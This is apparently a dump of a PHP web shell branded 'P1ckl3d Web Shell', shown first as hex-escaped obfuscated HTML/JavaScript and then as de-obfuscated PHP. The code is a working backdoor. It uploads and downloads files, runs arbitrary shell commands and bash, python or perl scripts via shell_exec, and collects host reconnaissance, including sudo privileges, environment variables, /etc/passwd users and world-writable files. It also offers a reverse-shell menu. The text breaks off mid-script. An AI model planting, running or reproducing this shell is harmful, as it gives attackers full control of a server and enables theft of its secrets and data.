\x50\x72\x65vent f\x6fr\x6d\x20sub\x6d\x69ssio\x6e\n\x20\x20\x20\x20\x20\x20   \x20\x20\x20\x20  \x20}\n\x20        \x20\x20\x20})\x3b\n    \x20 \x20 \x20 \x20 \x64ocu\x6dent.ge\x74E\x6c\x65m\x65\x6e\x74By\x49d(\x27f\x69\x6c\x65\x55p\x6co\x61dInpu\x74').\x61ddE\x76en\x74\x4c\x69s\x74e\x6e\x65\x72('\x63han\x67\x65\x27,\x20u\x70\x6c\x6fadFi\x6c\x65)\x3b\n \x20\x20     \x20\x20 \x20d\x6f\x63u\x6d\x65\x6et.\x67et\x45l\x65\x6d\x65\x6e\x74\x42\x79\x49d('\x73crip\x74F\x69leI\x6epu\x74\x27).\x61dd\x45\x76en\x74L\x69s\x74ener('change',\x20\x72u\x6e\x53\x63\x72i\x70t)\x3b\n\x20      \x20\x20\x20 \x20\x75\x70\x64\x61teC\x75\x72r\x65ntD\x69r\x65c\x74o\x72\x79()\x3b //\x20I\x6ei\x74ia\x6c\x20\x75\x70\x64\x61te \x6f\x66\x20\x74\x68\x65\x20\x63u\x72\x72en\x74 \x64\x69r\x65\x63tory\n \x20\x20    \x20})\x3b\n\x20 \x20 \x3c/s\x63\x72ip\x74>\n\x3c/\x68e\x61d\x3e\n<bo\x64y>\n\x20  \x20<\x681 \x63las\x73=\"\x63e\x6e\x74\x65\x72\"\x3e\x50\x31c\x6bl3\x64 \x57\x65\x62\x20\x53h\x65\x6cl\x3c/h1\x3e\n\n    \x3c\x64iv \x63\x6ca\x73s=\x22\x62\x75\x72\x67er-\x6d\x65n\x75\x22\x20onclick\x3d\x22t\x6fgg\x6ce\x4de\x6eu()\"\x3e\n\x20    \x20\x20 <di\x76></div\x3e\n      \x20\x20\x3cdiv></\x64iv>\n\x20\x20 \x20\x20 \x20 <\x64iv\x3e</di\x76\x3e\n \x20  \x3c/\x64\x69v\x3e\n\n\x20\x20 \x20<\x64i\x76\x20id=\"m\x65\x6e\x75\x43on\x74\x65n\x74\x22 \x63\x6c\x61s\x73\x3d\"m\x65nu-con\x74ent\"\x3e\n        \x3ca\x20h\x72\x65\x66=\"\x23\" \x6fn\x63\x6ci\x63\x6b\x3d\"\x64o\x63\x75\x6d\x65\x6e\x74\x2eg\x65\x74E\x6c\x65m\x65nt\x42yId(\x27\x66i\x6c\x65U\x70\x6c\x6f\x61d\x49n\x70ut\x27)\x2ecl\x69c\x6b()\"\x3eU\x70l\x6fad\x20F\x69le</\x61\x3e\n\x20  \x20 \x20  <a\x20hre\x66\x3d\x22#\" \x6f\x6ecli\x63k\x3d\x22\x73how\x46\x69le\x4c\x69\x73t()\x22>\x44\x6fw\x6e\x6c\x6fa\x64\x20\x46\x69l\x65\x3c/\x61>\n\x20\x20  \x20\x20\x20 \x3c\x61 \x68ref\x3d\x22#\"\x20o\x6e\x63\x6c\x69ck=\x22\x73\x68o\x77\x52un\x53\x63rip\x74Moda\x6c()\"\x3eR\x75\x6e \x53\x63ri\x70t</a\x3e\n\x20\x20 \x20    <\x61 \x68\x72e\x66=\x22\x23\x22 \x6f\x6ec\x6ci\x63\x6b=\x22r\x75\x6eD\x69s\x63\x6f\x76ery()\x22\x20d\x61\x74a-\x61ct\x69\x6fn\x3d\"run\x44\x69sco\x76e\x72\x79\"\x3e\x52un\x20\x44\x69sco\x76e\x72\x79</\x61\x3e\n\x20\x20  \x20\x20\x20\x20<a\x20h\x72e\x66=\"\x23\x22\x20\x6fn\x63\x6c\x69ck=\"\x73\x68\x6f\x77\x52\x65\x76e\x72s\x65Shel\x6c\x4d\x6f\x64al()\x22>Sp\x61wn\x20\x52\x65\x76\x65r\x73e S\x68ell\x3c/a\x3e\n\x20\x20\x20\x20\x3c/\x64\x69\x76\x3e\n\n\x20\x20  \x3cd\x69\x76\x20\x63l\x61\x73\x73=\"\x63e\x6ete\x72\x22\x3e\n\x20  \x20\x20\x20 \x20\x3cp>\x43\x75rre\x6et\x20\x44\x69\x72e\x63t\x6fry: <spa\x6e\x20\x69\x64\x3d\"c\x75rr\x65\x6etDire\x63\x74\x6fry\"\x3e\x3c/sp\x61\x6e></p\x3e\n \x20\x20 </\x64i\x76\x3e\n\n  \x20 <for\x6d\x20id\x3d\"\x75p\x6c\x6f\x61d\x46\x6fr\x6d\" \x73\x74y\x6ce=\x22di\x73pl\x61y:\x6eo\x6e\x65\">\n\x20   \x20   \x3ci\x6epu\x74 \x74yp\x65=\"f\x69\x6ce\x22 \x69\x64=\x22f\x69\x6ce\x55pl\x6f\x61dInput\x22\x20n\x61\x6d\x65\x3d\"\x66\x69leU\x70loa\x64\x22\x3e\n\x20   </\x66or\x6d\x3e\n\n \x20\x20\x20\x3c\x66\x6f\x72\x6d \x69d=\x22sc\x72\x69p\x74F\x6fr\x6d\" \x73t\x79l\x65\x3d\"\x64ispl\x61y:none\"\x3e\n \x20\x20\x20\x20\x20  <\x69\x6e\x70u\x74\x20\x74\x79p\x65=\"f\x69\x6c\x65\x22 id\x3d\"scr\x69\x70tF\x69\x6ceI\x6epu\x74\"\x3e\n \x20\x20  \x20\x20 \x3c\x69nput\x20\x74\x79pe\x3d\"hi\x64d\x65\x6e\" i\x64=\x22s\x63\x72i\x70\x74Engine\x22>\n\x20   \x3c/\x66o\x72m>\n\n \x20 \x20<!-- C\x75\x73\x74\x6f\x6d\x20\x43\x6fmm\x61nd\x20\x46o\x72\x6d\x20-->\n   \x20\x3cdiv\x20\x63l\x61\x73s=\"ce\x6e\x74e\x72\x22>\n\x20\x20 \x20\x20\x20\x20 <\x64\x69\x76\x20c\x6ca\x73s\x3d\"for\x6d-c\x6fn\x74\x61iner\x22>\n\x20\x20\x20\x20  \x20 \x20\x20  <i\x6epu\x74\x20t\x79pe\x3d\"\x74\x65\x78t\" id\x3d\x22\x63us\x74\x6f\x6d\x43\x6f\x6d\x6d\x61\x6ed\x22\x20n\x61\x6d\x65\x3d\"c\x75st\x6fmC\x6f\x6d\x6da\x6ed\x22\x20si\x7a\x65\x3d\"50\">\n \x20\x20\x20\x20  \x20\x20   <d\x69\x76 \x63\x6c\x61\x73s=\"b\x75tt\x6f\x6e\x73-\x63o\x6et\x61\x69\x6e\x65\x72\"\x3e\n \x20  \x20 \x20\x20\x20 \x20\x20 \x20\x20\x20\x3c\x69np\x75\x74\x20type=\"s\x75\x62m\x69\x74\" \x76\x61\x6cu\x65=\"Run\x20\x43om\x6da\x6e\x64\x22 on\x63\x6cic\x6b\x3d\x22\x72\x75\x6eCus\x74\x6f\x6dC\x6f\x6dma\x6e\x64()\">\n   \x20    \x20   \x3c/d\x69\x76>\n\x20  \x20\x20\x20\x20 </\x64\x69\x76>\n\x20\x20\x20\x20</d\x69v\x3e\n\n \x20  \x3c!--\x20C\x75s\x74om C\x6fm\x6dan\x64\x20\x4f\x75t\x70u\x74\x20--\x3e\n  \x20 <di\x76 \x69\x64\x3d\"\x63\x75s\x74om\x43omm\x61\x6e\x64Ou\x74pu\x74\" class\x3d\"\x6f\x75t\x70\x75t-c\x6f\x6e\x74a\x69\x6eer\"></d\x69v\x3e\n\n\x20\x20\x20\x20<!--\x20\x53\x65par\x61\x74o\x72 --\x3e\n  \x20 <hr \x63las\x73=\x22\x73\x65par\x61tor\">\n\n \x20 \x20<!--\x20\x44\x69sc\x6f\x76e\x72y\x20\x4fu\x74p\x75\x74\x20--\x3e\n\x20\x20\x20 <\x64i\x76\x20\x69\x64=\"\x64\x69sco\x76e\x72\x79\x4fu\x74\x70ut\"\x20c\x6ca\x73\x73=\"o\x75t\x70ut-conta\x69\x6e\x65\x72\x22\x3e</div\x3e\n\n \x20 \x20<\x21-- \x46\x69l\x65\x20L\x69\x73t\x20\x4d\x6fd\x61\x6c --\x3e\n  \x20\x20<\x64i\x76 \x69d=\x22\x66\x69\x6c\x65\x4c\x69\x73\x74\x4do\x64\x61l\x22\x20\x63las\x73\x3d\"\x6do\x64\x61\x6c\x22\x3e\n  \x20\x20 \x20\x20 <d\x69\x76\x20c\x6c\x61\x73\x73\x3d\"mo\x64\x61l-h\x65\x61d\x65r\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3ch\x32>\x53ele\x63t \x61\x20\x66\x69l\x65 t\x6f do\x77\x6elo\x61\x64</h\x32>\n  \x20 \x20      \x20<\x62u\x74\x74\x6f\x6e\x20\x63l\x61ss\x3d\x22c\x6co\x73e-b\x75\x74\x74\x6fn\x22 \x6f\x6e\x63l\x69\x63\x6b\x3d\x22cl\x6fs\x65\x4d\x6fd\x61l('\x66ile\x4ci\x73\x74\x4d\x6fd\x61\x6c\x27)\"\x3e\x43l\x6fse</\x62u\x74\x74on\x3e\n\x20\x20\x20 \x20\x20\x20 </\x64iv>\n\x20\x20 \x20\x20 \x20 \x3c\x64iv clas\x73\x3d\x22\x6d\x6f\x64\x61\x6c-\x62\x6fd\x79\" \x69d\x3d\x22m\x6fdalBo\x64y\x22></div\x3e\n \x20\x20\x20\x3c/di\x76>\n\n  \x20\x20<\x21--\x20R\x75\x6e Scr\x69p\x74\x20M\x6fd\x61\x6c\x20-->\n\x20 \x20\x20<div \x69d\x3d\"\x72\x75\x6eS\x63\x72ip\x74Mod\x61l\x22 c\x6c\x61\x73s=\"m\x6f\x64\x61\x6c\x22>\n    \x20\x20 \x20<di\x76 c\x6c\x61ss\x3d\x22m\x6fda\x6c-h\x65ad\x65r\"\x3e\n \x20\x20\x20\x20  \x20   \x20<h2>\x53e\x6cect\x20\x61\x20\x73\x63\x72i\x70\x74 e\x6egin\x65\x3c/h2>\n \x20\x20 \x20\x20   \x20 \x20<\x62u\x74\x74\x6fn cl\x61\x73s\x3d\"\x63\x6c\x6fse-\x62\x75\x74\x74\x6f\x6e\"\x20\x6f\x6eclick\x3d\"clo\x73e\x4d\x6f\x64a\x6c('r\x75n\x53\x63r\x69ptMo\x64\x61l')\x22\x3e\x43los\x65</\x62\x75t\x74on\x3e\n\x20\x20 \x20\x20  \x20\x3c/d\x69\x76\x3e\n \x20\x20  \x20\x20 <\x64iv \x63\x6cas\x73=\"\x6do\x64\x61l-\x62o\x64\x79\x22\x3e\n\x20 \x20 \x20  \x20\x20  \x20\x3c\x75\x6c>\n\x20  \x20\x20\x20\x20  \x20\x20 \x20 \x20\x20\x3cli on\x63\x6c\x69c\x6b=\"sel\x65\x63\x74Scri\x70\x74\x45\x6e\x67i\x6ee('\x62as\x68\x27)\">\x62a\x73\x68</li>\n  \x20 \x20  \x20\x20\x20   \x20 \x20<l\x69 \x6f\x6e\x63\x6ci\x63k\x3d\"s\x65l\x65ct\x53\x63ri\x70t\x45\x6e\x67\x69ne('\x70yt\x68on\x27)\">p\x79\x74ho\x6e\x3c/\x6ci\x3e\n\x20\x20\x20\x20\x20   \x20 \x20\x20\x20\x20 \x20\x3cli on\x63\x6ci\x63\x6b\x3d\"\x73\x65\x6cectSc\x72\x69p\x74\x45\x6egi\x6e\x65(\x27p\x79\x74\x68\x6f\x6e\x32\x27)\">\x70\x79tho\x6e\x32\x3c/l\x69\x3e\n  \x20  \x20 \x20 \x20  \x20\x20\x20\x20\x3c\x6c\x69 \x6f\x6e\x63l\x69c\x6b=\"\x73e\x6ce\x63\x74Scri\x70t\x45n\x67\x69n\x65('\x70\x79t\x68\x6f\x6e\x33\x27)\">\x70\x79t\x68on\x33\x3c/li>\n\x20\x20   \x20\x20\x20   \x20  \x20 \x3c\x6c\x69\x20o\x6e\x63\x6cic\x6b\x3d\"s\x65\x6c\x65\x63\x74Scri\x70\x74\x45ngine('\x70er\x6c\x27)\"\x3e\x70\x65rl</\x6ci>\n \x20 \x20 \x20   \x20\x20 </\x75l>\n   \x20\x20\x20 \x20\x3c/d\x69v\x3e\n \x20\x20 </\x64iv>\n\n<!--\x20Re\x76\x65\x72s\x65\x20\x53hel\x6c\x20\x4d\x6fdal --\x3e\n<\x64iv\x20id\x3d\x22\x72ev\x65\x72\x73eSh\x65llM\x6f\x64al\" c\x6cas\x73\x3d\x22\x6dod\x61\x6c\x22\x3e\n\x20\x20\x20\x20\x3c\x64\x69

Decoded(de-Obfuscated) php code

<?php

/*   _________________________________________________________________________________
    |  Project: R00t-Shell.com - Php Obfuscator  2.0.15                               |
    |  Author: R00t Shell                                                             |
    |  Date: 2025-02-18 06:45:35                                                      |
    |  Website: https://r00t-shell.com                                                |
    |  Virus Total: dcb11dea198cd11d5535aa58a599818a7947fec683754d6075dab69f9534209d  |
    |  Description: Obfuscates PHP code to increase security and protect source code. |
    |_________________________________________________________________________________|
*/
$GLOBALS["rtjnajtqcreg"] = "ch";
$GLOBALS["vxcylwx"] = "protocol";
$GLOBALS["qkolvwyo"] = "customCommand";
$GLOBALS["vxeslywguj"] = "response";
$GLOBALS["funbhnpwzce"] = "output";
$GLOBALS["ybrokpwyf"] = "dir";
$GLOBALS["wofincfuxt"] = "lastLoggedUsers";
$GLOBALS["dkbnfdjdsls"] = "recursiveLs";
$GLOBALS["iclsyweoqve"] = "scheduledCronJobs";
$GLOBALS["gjhefvhwtey"] = "diskUsage";
$GLOBALS["ikgoovyfao"] = "memoryUsage";
$GLOBALS["fpbtyvq"] = "dockerContainers";
$GLOBALS["bnimzpfpo"] = "protocol";
$GLOBALS["ouojdc"] = "openPorts";
$GLOBALS["vygwech"] = "environmentVariables";
$GLOBALS["imadsbvprm"] = "kernelVersion";
$GLOBALS["hribgyi"] = "osInfo";
$hmudkseewlya = "ch";
$GLOBALS["bliuysc"] = "discoveryData";
$GLOBALS["clxyxyrutqb"] = "openFiles";
$GLOBALS["thmkzud"] = "coreDumps";
$GLOBALS["wguunhb"] = "uptime";
$GLOBALS["jjydccophwm"] = "cpuInfo";
$GLOBALS["drnrfnwpuwrp"] = "installedServices";
$fhgxpphln = "ch";
$GLOBALS["youobkjd"] = "installedPackages";
$GLOBALS["qvtakmosun"] = "runningProcesses";
$GLOBALS["tfxccilx"] = "selinuxStatus";
$GLOBALS["givdlxi"] = "firewallStatus";
$GLOBALS["hidqkyi"] = "sshConnections";
$GLOBALS["fkdigifknnq"] = "userAccounts";
$GLOBALS["tzkvzgvqnoy"] = "detailedUserInfo";
$GLOBALS["irbddvbcr"] = "currentUser";
$GLOBALS["rwvdfhe"] = "phpVersion";
$GLOBALS["qoygggabhk"] = "engine";
$GLOBALS["otevlvwy"] = "command";
$GLOBALS["nuhcfngsl"] = "temp_file";
$GLOBALS["bylxqbv"] = "script_content";
$GLOBALS["nzprdqwm"] = "file_content";
$GLOBALS["qzqdhvyprk"] = "file_path";
$GLOBALS["qwjhkbulsh"] = "file_name";
$GLOBALS["unxrpcpxoe"] = "target_file";
$GLOBALS["wpyyklchhe"] = "current_directory";
session_start();
if (isset($_FILES["fileUpload"])) {
    $current_directory = $_SESSION["current_directory"];
    $GLOBALS["cajatbixwxyd"] = "current_directory";
    $target_file = $current_directory . "/" . basename($_FILES["fileUpload"]["name"]);
    if (move_uploaded_file($_FILES["fileUpload"]["tmp_name"], $target_file)) {
        echo json_encode(["status" => "success", "message" => basename($_FILES["fileUpload"]["name"]) . " uploaded successfully", "directory" => $current_directory]);
    } else {
        echo json_encode(["status" => "error", "message" => basename($_FILES["fileUpload"]["name"]) . " upload failed", "directory" => $current_directory]);
    }
    exit;
}
if (isset($_POST["downloadFile"])) {
    $cnsbybrpcm = "file_name";
    $lveksklyomrd = "current_directory";
    $current_directory = $_SESSION["current_directory"];
    ${$GLOBALS["qwjhkbulsh"]} = basename($_POST["downloadFile"]);
    ${$GLOBALS["qzqdhvyprk"]} = ${$GLOBALS["wpyyklchhe"]} . "/" . ${$cnsbybrpcm};
    $GLOBALS["ryxrwbhqbjb"] = "file_path";
    if (file_exists($file_path)) {
        $xorfvrspwr = "file_content";
        $file_content = base64_encode(file_get_contents(${$GLOBALS["qzqdhvyprk"]}));
        echo json_encode(["status" => "success", "message" => ${$GLOBALS["qwjhkbulsh"]} . " ready for download", "fileContent" => ${$GLOBALS["nzprdqwm"]}, "directory" => ${$GLOBALS["wpyyklchhe"]}]);
    } else {
        echo json_encode(["status" => "error", "message" => ${$GLOBALS["qwjhkbulsh"]} . " does not exist", "directory" => ${$GLOBALS["wpyyklchhe"]}]);
    }
    exit;
}
if (isset($_POST["runScript"]) && isset($_POST["engine"]) && isset($_POST["scriptContent"])) {
    $GLOBALS["puzbfdltx"] = "engine";
    $GLOBALS["uskfxlwp"] = "temp_file";
    $GLOBALS["naceqk"] = "command";
    $engine = $_POST["engine"];
    ${$GLOBALS["bylxqbv"]} = $_POST["scriptContent"];
    ${$GLOBALS["nuhcfngsl"]} = tempnam(sys_get_temp_dir(), "script");
    $GLOBALS["swnfsh"] = "script_content";
    file_put_contents(${$GLOBALS["uskfxlwp"]}, $script_content);
    $GLOBALS["fikvowsukv"] = "output";
    $tulgfxucxxe = "output";
    $memkjwxwjf = "command";
    $GLOBALS["rglcjtvqdosx"] = "command";
    $GLOBALS["wggiinxckbb"] = "temp_file";
    $hgtyenrcns = "output";
    ${$GLOBALS["otevlvwy"]} = "";
    switch (${$GLOBALS["qoygggabhk"]}) {
        case "bash":
            ${$GLOBALS["naceqk"]} = "bash {$temp_file}";
            break;
        case "python":
            ${$GLOBALS["otevlvwy"]} = "python {$temp_file}";
            break;
        case "python2":
            ${$memkjwxwjf} = "python2 {$temp_file}";
            break;
        case "python3":
            ${$GLOBALS["otevlvwy"]} = "python3 {$temp_file}";
            break;
        case "perl":
            ${$GLOBALS["otevlvwy"]} = "perl {$temp_file}";
            break;
        default:
            echo json_encode(["status" => "error", "message" => "Invalid script engine", "output" => ""]);
            unlink(${$GLOBALS["nuhcfngsl"]});
            exit;
    }
    ${$hgtyenrcns} = shell_exec(${$GLOBALS["rglcjtvqdosx"]} . " 2>&1");
    unlink(${$GLOBALS["wggiinxckbb"]});
    echo json_encode(["status" => "success", "output" => ${$tulgfxucxxe} ? ${$GLOBALS["fikvowsukv"]} : "No output"]);
    exit;
}
if (isset($_POST["runDiscovery"])) {
    $GLOBALS["kiqoilik"] = "hostname";
    $gnqfkcc = "openFiles";
    $GLOBALS["sbhetnqst"] = "sudoPrivileges";
    $GLOBALS["ditnlxiqeq"] = "recursiveLs";
    $GLOBALS["bxxxuix"] = "osInfo";
    $GLOBALS["pqibdmuyh"] = "listeningServices";
    $GLOBALS["oyivyjdu"] = "serverSoftware";
    $GLOBALS["zrtjeaxm"] = "cpuInfo";
    $fftteqgwy = "dockerContainers";
    $GLOBALS["imcuxsxufpyf"] = "misconfigurations";
    $rhuuhzq = "scheduledCronJobs";
    $hostname = executeCommand("hostname");
    $GLOBALS["rsulquvff"] = "kernelVersion";
    $zbktwroac = "environmentVariables";
    $osInfo = executeCommand("uname -a");
    $gcfewzjo = "activeConnections";
    $bzdunnlworhk = "diskUsage";
    $kernelVersion = executeCommand("uname -r");
    $jalcoyxplhq = "serverSoftware";
    ${$GLOBALS["rwvdfhe"]} = phpversion();
    $GLOBALS["etdscnyhyw"] = "memoryUsage";
    ${$GLOBALS["oyivyjdu"]} = $_SERVER["SERVER_SOFTWARE"];
    ${$GLOBALS["irbddvbcr"]} = executeCommand("whoami");
    ${$GLOBALS["tzkvzgvqnoy"]} = executeCommand("id");
    $GLOBALS["spzeqjkpo"] = "networkConfig";
    ${$GLOBALS["fkdigifknnq"]} = executeCommand("cut -d: -f1 /etc/passwd");
    ${$GLOBALS["sbhetnqst"]} = executeCommand("sudo -l");
    ${$zbktwroac} = executeCommand("printenv");
    $GLOBALS["fsrkwn"] = "listeningServices";
    $yapfwksugu = "sudoPrivileges";
    $GLOBALS["lnibah"] = "openPorts";
    $GLOBALS["kiuapxyykyhr"] = "rootdir";
    ${$GLOBALS["spzeqjkpo"]} = executeCommand("ifconfig");
    $yvrarnhyc = "UsersHome";
    $GLOBALS["kcndplb"] = "misconfigurations";
    ${$GLOBALS["lnibah"]} = executeCommand("netstat -tuln");
    $insrag = "installedPackages";
    $ojcptuunrkox = "activeConnections";
    ${$gcfewzjo} = executeCommand("netstat -antp");
    ${$GLOBALS["pqibdmuyh"]} = executeCommand("ss -tulwn");
    ${$GLOBALS["hidqkyi"]} = executeCommand("ss -tn src :22");
    ${$GLOBALS["givdlxi"]} = executeCommand("ufw status");
    $GLOBALS["uqvnjpsbwm"] = "installedServices";
    ${$GLOBALS["tfxccilx"]} = executeCommand("sestatus");
    ${$GLOBALS["qvtakmosun"]} = executeCommand("ps aux");
    $GLOBALS["injavveivhu"] = "rootdir";
    ${$GLOBALS["youobkjd"]} = executeCommand("dpkg -l");
    ${$GLOBALS["drnrfnwpuwrp"]} = executeCommand("systemctl list-unit-files --type=service");
    ${$fftteqgwy} = executeCommand("docker ps");
    ${$GLOBALS["jjydccophwm"]} = executeCommand("lscpu");
    $GLOBALS["elmcmreped"] = "runningProcesses";
    ${$GLOBALS["etdscnyhyw"]} = executeCommand("free -h");
    ${$bzdunnlworhk} = executeCommand("df -h");
    ${$GLOBALS["wguunhb"]} = executeCommand("uptime");
    ${$rhuuhzq} = executeCommand("crontab -l");
    $GLOBALS["mussrrfch"] = "networkConfig";
    $GLOBALS["ocopnsezxs"] = "detailedUserInfo";
    ${$GLOBALS["kiuapxyykyhr"]} = executeCommand("ls /");
    $GLOBALS["xhgdbbsr"] = "UsersHome";
    $GLOBALS["ztefivka"] = "hostname";
    ${$GLOBALS["ditnlxiqeq"]} = executeCommand("ls -R /var/www");
    ${$yvrarnhyc} = executeCommand("ls -R /home");
    ${$GLOBALS["imcuxsxufpyf"]} = executeCommand("find / -type f -perm 0777 2>/dev/null");
    $GLOBALS["yxxbfxmt"] = "firewallStatus";
    ${$GLOBALS["thmkzud"]} = executeCommand("find / -name core -type f 2>/dev/null");
    $ulafkuj = "userAccounts";
    ${$GLOBALS["clxyxyrutqb"]} = executeCommand("lsof");
    $GLOBALS["tbjipjkfdp"] = "lastLoggedUsers";
    $lastLoggedUsers = executeCommand("last");
    ${$GLOBALS["bliuysc"]} = ["Hostname" => ${$GLOBALS["ztefivka"]}["output"], "Operating System Info" => ${$GLOBALS["hribgyi"]}["output"], "Kernel Version" => ${$GLOBALS["imadsbvprm"]}["output"], "PHP Version" => ${$GLOBALS["rwvdfhe"]}, "Server Software" => ${$jalcoyxplhq}, "Current User" => ${$GLOBALS["irbddvbcr"]}["output"], "Detailed User Info" => ${$GLOBALS["ocopnsezxs"]}["output"], "User Accounts" => ${$ulafkuj}["output"], "Sudo Privileges" => ${$yapfwksugu}["output"], "Environment Variables" => ${$GLOBALS["vygwech"]}["output"], "Network Configuration" => ${$GLOBALS["mussrrfch"]}["output"], "Open Ports" => ${$GLOBALS["ouojdc"]}["output"], "Active Connections" => ${$ojcptuunrkox}["output"], "Listening Services" => ${$GLOBALS["fsrkwn"]}["output"], "SSH Connections" => ${$GLOBALS["hidqkyi"]}["output"], "Firewall Status" => ${$GLOBALS["yxxbfxmt"]}["output"], "SELinux Status" => ${$GLOBALS["tfxccilx"]}["output"], "Running Processes" => ${$GLOBALS["elmcmreped"]}["output"], "Installed Packages" => ${$insrag}["output"], "Installed Services" => ${$GLOBALS["uqvnjpsbwm"]}["output"], "Docker Containers" => ${$GLOBALS["fpbtyvq"]}["output"], "CPU Info" => ${$GLOBALS["zrtjeaxm"]}["output"], "Memory Usage" => ${$GLOBALS["ikgoovyfao"]}["output"], "Disk Usage" => ${$GLOBALS["gjhefvhwtey"]}["output"], "System Uptime" => ${$GLOBALS["wguunhb"]}["output"], "Scheduled Cron Jobs" => ${$GLOBALS["iclsyweoqve"]}["output"], "Root Directory Listing" => ${$GLOBALS["injavveivhu"]}["output"], "Recursive Directory Listing of /var/www" => ${$GLOBALS["dkbnfdjdsls"]}["output"], "Recursive Directory Listing of Home" => ${$GLOBALS["xhgdbbsr"]}["output"], "World-Writable Files" => ${$GLOBALS["kcndplb"]}["output"], "Core Dumps" => ${$GLOBALS["thmkzud"]}["output"], "Open Files" => ${$gnqfkcc}["output"], "Last Logged Users" => ${$GLOBALS["wofincfuxt"]}["output"], "Current Directory" => $_SESSION["current_directory"]];
    echo json_encode(${$GLOBALS["bliuysc"]});
    exit;
}
$gtddpfyfsn = "data";
function executeCommand($command)
{
    $rxovgfs = "current_directory";
    $pvaybvfjyd = "command";
    $current_directory = $_SESSION["current_directory"];
    chdir(${$GLOBALS["wpyyklchhe"]});
    if (substr($command, 0, 3) === "cd ") {
        $GLOBALS["fepxgggq"] = "command";
        ${$GLOBALS["ybrokpwyf"]} = trim(substr($command, 3));
        if (chdir(${$GLOBALS["ybrokpwyf"]})) {
            $_SESSION["current_directory"] = getcwd();
            return ["output" => "Changed directory to " . $_SESSION["current_directory"], "directory" => $_SESSION["current_directory"]];
        } else {
            $GLOBALS["lgzufvw"] = "dir";
            return ["output" => "Failed to change directory to " . $dir, "directory" => $_SESSION["current_directory"]];
        }
    } else {
        $ctqxutspbtd = "output";
        $GLOBALS["edbxfgp"] = "output";
        $bpwhutupwx = "command";
        ${$GLOBALS["funbhnpwzce"]} = shell_exec($command . " 2>&1");
        $_SESSION["current_directory"] = getcwd();
        return ["output" => $output ? ${$ctqxutspbtd} : "Command failed", "directory" => $_SESSION["current_directory"]];
    }
}
if (!isset($_SESSION["current_directory"])) {
    $_SESSION["current_directory"] = "/";
}
${$GLOBALS["wpyyklchhe"]} = $_SESSION["current_directory"];
if (isset($_POST["customCommand"])) {
    $kglknofv = "customCommand";
    $customCommand = $_POST["customCommand"];
    ${$GLOBALS["vxeslywguj"]} = executeCommand(${$GLOBALS["qkolvwyo"]});
    echo json_encode(${$GLOBALS["vxeslywguj"]});
    exit;
}
if (isset($_POST["getCurrentDirectory"])) {
    echo json_encode(["directory" => ${$GLOBALS["wpyyklchhe"]}]);
    exit;
}
echo "\n<!DOCTYPE html>\n<html>\n<head>\n    <title>P1ckl3d Web Shell</title>\n    <link href=\"https://fonts.googleapis.com/css2?family=VT323&display=swap\" rel=\"stylesheet\">\n    <style>\nbody{background-color:#2e2e2e;color:#fff;font-family:Arial,sans-serif}.center{text-align:center}.output-container{margin-top:20px;max-width:60%;margin-left:auto;margin-right:auto;text-align:left}.form-container{display:flex;flex-direction:column;align-items:center;margin-top:20px}input[type=\"text\"],input[type=\"number\"]{width:60%;padding:10px;font-size:16px;color:#0f0;background-color:#333;border:1px solid #555;border-radius:5px;margin-bottom:10px}input[type=\"text\"]:focus,input[type=\"number\"]:focus{outline:2px solid #0f0}input[type=\"submit\"],button{padding:10px 20px;font-size:16px;color:#fff;background-color:#555;border:none;border-radius:5px;cursor:pointer;margin:5px}h2{cursor:pointer;color:#0f0}pre{white-space:pre-wrap;word-wrap:break-word;background-color:#1e1e1e;padding:10px;border-radius:5px;border:1px solid #444}.collapsed::before{content:'';display:inline-block;margin-right:5px}.expanded::before{content:'▼';display:inline-block;margin-right:5px}h1{font-family:'VT323',monospace;font-size:3em}.separator{border:2px solid #0f0;margin:20px 0;max-width:60%;margin-left:auto;margin-right:auto}.buttons-container{display:flex;justify-content:center}.burger-menu{position:fixed;top:10px;right:10px;cursor:pointer;z-index:1000}.burger-menu div{width:25px;height:3px;background-color:#0f0;margin:5px;transition:.4s}.menu-content{display:none;position:fixed;top:40px;right:10px;background-color:#2e2e2e;border:1px solid #555;padding:10px;border-radius:5px;z-index:1000}.menu-content a{color:#fff;padding:8px 12px;text-decoration:none;display:block}.menu-content a:hover{background-color:#555}.modal{display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background-color:#2e2e2e;padding:20px;border-radius:5px;border:1px solid #555;z-index:2000}.modal-header{display:flex;justify-content:space-between;align-items:center}.modal-header h2{margin:0}.modal-body{max-height:400px;overflow-y:auto;margin-top:10px}.modal-body ul{list-style:none;padding:0}.modal-body li{padding:5px;cursor:pointer}.modal-body li:hover{background-color:#555}.close-button{cursor:pointer;background-color:#555;color:#fff;border:none;padding:5px 10px;border-radius:5px}#scriptFileInput{display:none}\n    </style>\n    <script>\n        function getScriptName() {\n            const scripts = document.getElementsByTagName('script');\n            return scripts[scripts.length - 1].src.split('/').pop();\n        }\n\n        function runCustomCommand() {\n            const command = document.getElementById('customCommand').value;\n            const scriptName = getScriptName();\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', scriptName, true);\n            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    const commandOutput = document.createElement('div');\n                    commandOutput.innerHTML = '<h2 class=\"expanded\" onclick=\"toggleVisibility(this.nextElementSibling)\">' + command + '</h2><pre>' + response.output + '</pre>';\n                    const outputContainer = document.getElementById('customCommandOutput');\n                    outputContainer.insertBefore(commandOutput, outputContainer.firstChild);\n\n                    // Update the current directory\n                    document.getElementById('currentDirectory').innerText = response.directory;\n                }\n            };\n            xhr.send('customCommand=' + encodeURIComponent(command));\n            document.getElementById('customCommand').value = '';\n            return false; // Prevent form submission\n        }\n\n        function runDiscovery() {\n            const scriptName = getScriptName();\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', scriptName, true);\n            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    const discoveryOutput = document.getElementById('discoveryOutput');\n                    discoveryOutput.innerHTML = '';\n\n                    for (const [key, value] of Object.entries(response)) {\n                        if (key !== 'Current Directory') {\n                            const header = document.createElement('h2');\n                            header.classList.add('collapsed');\n                            header.innerText = key;\n                            header.onclick = function() {\n                                toggleVisibility(this.nextElementSibling);\n                            };\n                            const pre = document.createElement('pre');\n                            pre.style.display = 'none';\n                            pre.innerText = value;\n                            